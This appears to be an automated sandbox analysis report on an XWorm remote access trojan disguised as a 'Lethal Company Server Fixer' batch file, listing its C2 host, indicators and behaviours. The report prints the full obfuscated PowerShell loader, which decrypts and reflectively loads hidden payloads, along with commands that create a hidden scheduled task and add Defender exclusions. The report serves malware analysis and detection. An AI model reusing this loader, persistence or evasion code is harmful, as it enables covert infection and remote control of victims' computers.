xworm | fb02b44b720c9a40344758299c29364fdc86fa685ee5457b2e625ddf528dae28

Analysis

max time kernel
126s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 13:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Lethal Company Server Fixer.bat
Size

482KB
MD5

8cecf4c9b8653a9885bc14260c674fec
SHA1

2038ebc58360fad62968f0e3ec7ea4e938384aa5
SHA256

fb02b44b720c9a40344758299c29364fdc86fa685ee5457b2e625ddf528dae28
SHA512

c183f8b6d6f0133f7fa3c378f0bff72880d6f74fff05353d9833d038d88e02aab9b9eb8d007f2d8d76e3d66945cfba7672dc96cd28a5ba9bda026ec62f7bdbb4
SSDEEP

12288:W6UIUDXaIHSj870S7xNL0bWrTpA43+r+vFf4mSJGKlc:WCUDXRSe0Y9AVKFgmSJGKlc

Score

10^/10

xworm discovery execution persistence rat trojan

Malware Config

Extracted

Family

xworm

hard-tyler.gl.at.ply.gg:27490

Attributes

Install_directory
%Temp%
install_file
systemprocess.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4272-50-0x0000016BFA7B0000-0x0000016BFA800000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
24	4272	powershell.exe
33	4272	powershell.exe
42	4272	powershell.exe
64	4272	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe
1132	powershell.exe
4272	powershell.exe
4912	powershell.exe
3680	powershell.exe
2784	powershell.exe
2804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemprocess.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\systemprocess.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\systemprocess = "C:\\Users\\Admin\\AppData\\Local\\Temp\\systemprocess.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 17 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{AA89C0D0-4B4F-11EF-8956-F2AA1BA6131E} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
2712	powershell.exe
2712	powershell.exe
1132	powershell.exe
1132	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe
Token: 34	1132	powershell.exe
Token: 35	1132	powershell.exe
Token: 36	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe
Token: 34	1132	powershell.exe
Token: 35	1132	powershell.exe
Token: 36	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe
Token: 34	1132	powershell.exe
Token: 35	1132	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1752	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4272	powershell.exe
1056	OpenWith.exe
1752	iexplore.exe
1752	iexplore.exe
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE
1492	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 2712	4968	cmd.exe	87
PID 4968 wrote to memory of 2712	4968	cmd.exe	87
PID 2712 wrote to memory of 1132	2712	powershell.exe	89
PID 2712 wrote to memory of 1132	2712	powershell.exe	89
PID 2712 wrote to memory of 4948	2712	powershell.exe	95
PID 2712 wrote to memory of 4948	2712	powershell.exe	95
PID 4948 wrote to memory of 5080	4948	WScript.exe	96
PID 4948 wrote to memory of 5080	4948	WScript.exe	96
PID 5080 wrote to memory of 4272	5080	cmd.exe	98
PID 5080 wrote to memory of 4272	5080	cmd.exe	98
PID 4272 wrote to memory of 4912	4272	powershell.exe	102
PID 4272 wrote to memory of 4912	4272	powershell.exe	102
PID 4272 wrote to memory of 3680	4272	powershell.exe	104
PID 4272 wrote to memory of 3680	4272	powershell.exe	104
PID 4272 wrote to memory of 2784	4272	powershell.exe	106
PID 4272 wrote to memory of 2784	4272	powershell.exe	106
PID 4272 wrote to memory of 2804	4272	powershell.exe	108
PID 4272 wrote to memory of 2804	4272	powershell.exe	108
PID 1752 wrote to memory of 1492	1752	iexplore.exe	129
PID 1752 wrote to memory of 1492	1752	iexplore.exe	129
PID 1752 wrote to memory of 1492	1752	iexplore.exe	129

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Lethal Company Server Fixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tMlg9Ak1Hll/hT/bcKwaGaEvEkdKEZUGXwpk1I254bI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yXy71lPve3rWJaY/gGktow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uXiyu=New-Object System.IO.MemoryStream(,$param_var); $MCbki=New-Object System.IO.MemoryStream; $iUPGp=New-Object System.IO.Compression.GZipStream($uXiyu, [IO.Compression.CompressionMode]::Decompress); $iUPGp.CopyTo($MCbki); $iUPGp.Dispose(); $uXiyu.Dispose(); $MCbki.Dispose(); $MCbki.ToArray();}function execute_function($param_var,$param2_var){ $Lbesm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kkMCs=$Lbesm.EntryPoint; $kkMCs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Lethal Company Server Fixer.bat';$OewKT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Lethal Company Server Fixer.bat').Split([Environment]::NewLine);foreach ($xtRuP in $OewKT) { if ($xtRuP.StartsWith(':: ')) { $BHBtz=$xtRuP.Substring(3); break; }}$payloads_var=[string[]]$BHBtz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_42_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_42.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1132
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_42.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_42.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tMlg9Ak1Hll/hT/bcKwaGaEvEkdKEZUGXwpk1I254bI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yXy71lPve3rWJaY/gGktow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $uXiyu=New-Object System.IO.MemoryStream(,$param_var); $MCbki=New-Object System.IO.MemoryStream; $iUPGp=New-Object System.IO.Compression.GZipStream($uXiyu, [IO.Compression.CompressionMode]::Decompress); $iUPGp.CopyTo($MCbki); $iUPGp.Dispose(); $uXiyu.Dispose(); $MCbki.Dispose(); $MCbki.ToArray();}function execute_function($param_var,$param2_var){ $Lbesm=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kkMCs=$Lbesm.EntryPoint; $kkMCs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_42.bat';$OewKT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_42.bat').Split([Environment]::NewLine);foreach ($xtRuP in $OewKT) { if ($xtRuP.StartsWith(':: ')) { $BHBtz=$xtRuP.Substring(3); break; }}$payloads_var=[string[]]$BHBtz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4272
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4912
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3680
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemprocess.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2784
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemprocess.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2804

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1056

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -nohome
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1752 CREDAT:17410 /prefetch:2
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4d2c8d8bf93f9450f044c6ef5dff215a

SHA1
4d6ecc646ee6c124aaf7535c1387445e02734750

SHA256
e77daf5c774ba87a166ccd95c40a7211f605316321e1d421b82fb0fc8ed75eb0

SHA512
c75903513f87ba5fb4da3e19b079be8ba1f451e1f503ed9fdcf3dee82ce9605b87af560a120156a09b3842cdf0c42fb20f7c8cd242e3021d644e959c8536c0aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4a154efa7af25bb8b94d0d9c7b4f15cd

SHA1
5e0e04103e4eef1bc7ef242b730aed1958f98e1f

SHA256
c216eda372556eb78e680bde247c2fd2085642ee33031905a213c6bec502ccce

SHA512
fc4678133318fe1952947be74e244246336c7faacc9b9ae32336d57b106ec8f044e5db41dd98e8f3a54270ddacab2fc84a66d5d67deeadc3056ea5213bcbbba4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
15dde0683cd1ca19785d7262f554ba93

SHA1
d039c577e438546d10ac64837b05da480d06bf69

SHA256
d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

SHA512
57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ce4540390cc4841c8973eb5a3e9f4f7d

SHA1
2293f30a6f4c9538bc5b06606c10a50ab4ecef8e

SHA256
e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105

SHA512
2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j1tpd2ra.ppa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_42.bat

Filesize
482KB

MD5
8cecf4c9b8653a9885bc14260c674fec

SHA1
2038ebc58360fad62968f0e3ec7ea4e938384aa5

SHA256
fb02b44b720c9a40344758299c29364fdc86fa685ee5457b2e625ddf528dae28

SHA512
c183f8b6d6f0133f7fa3c378f0bff72880d6f74fff05353d9833d038d88e02aab9b9eb8d007f2d8d76e3d66945cfba7672dc96cd28a5ba9bda026ec62f7bdbb4

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_42.vbs

Filesize
114B

MD5
d17a797485761e2d063a75f9906fa71d

SHA1
0df434e3542d5078991cc60c878406c5c8834cf5

SHA256
c5b39e7cc9121adb22eb0c975110e9c34e5d422a2fa4f29099d8d8e8b25a706d

SHA512
f136bab79bfe38940a2c5677066c5b29df594d839203f3cbb5646a1521ea1c052736bd18971b942895a0d95fa0d7adcb84f6ab2c11ede85ee76721d8fac3b6d2

Download Submit
memory/1132-25-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/1132-26-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/1132-27-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/1132-30-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/2712-13-0x0000021422820000-0x0000021422828000-memory.dmp

Filesize
32KB

Download
memory/2712-14-0x0000021424C90000-0x0000021424CEC000-memory.dmp

Filesize
368KB

Download
memory/2712-0-0x00007FFF01933000-0x00007FFF01935000-memory.dmp

Filesize
8KB

Download
memory/2712-49-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/2712-12-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/2712-11-0x00007FFF01930000-0x00007FFF023F1000-memory.dmp

Filesize
10.8MB

Download
memory/2712-6-0x0000021424A20000-0x0000021424A42000-memory.dmp

Filesize
136KB

Download
memory/4272-50-0x0000016BFA7B0000-0x0000016BFA800000-memory.dmp

Filesize
320KB

Download
memory/4272-98-0x0000016BFAB90000-0x0000016BFAB9C000-memory.dmp

Filesize
48KB

Download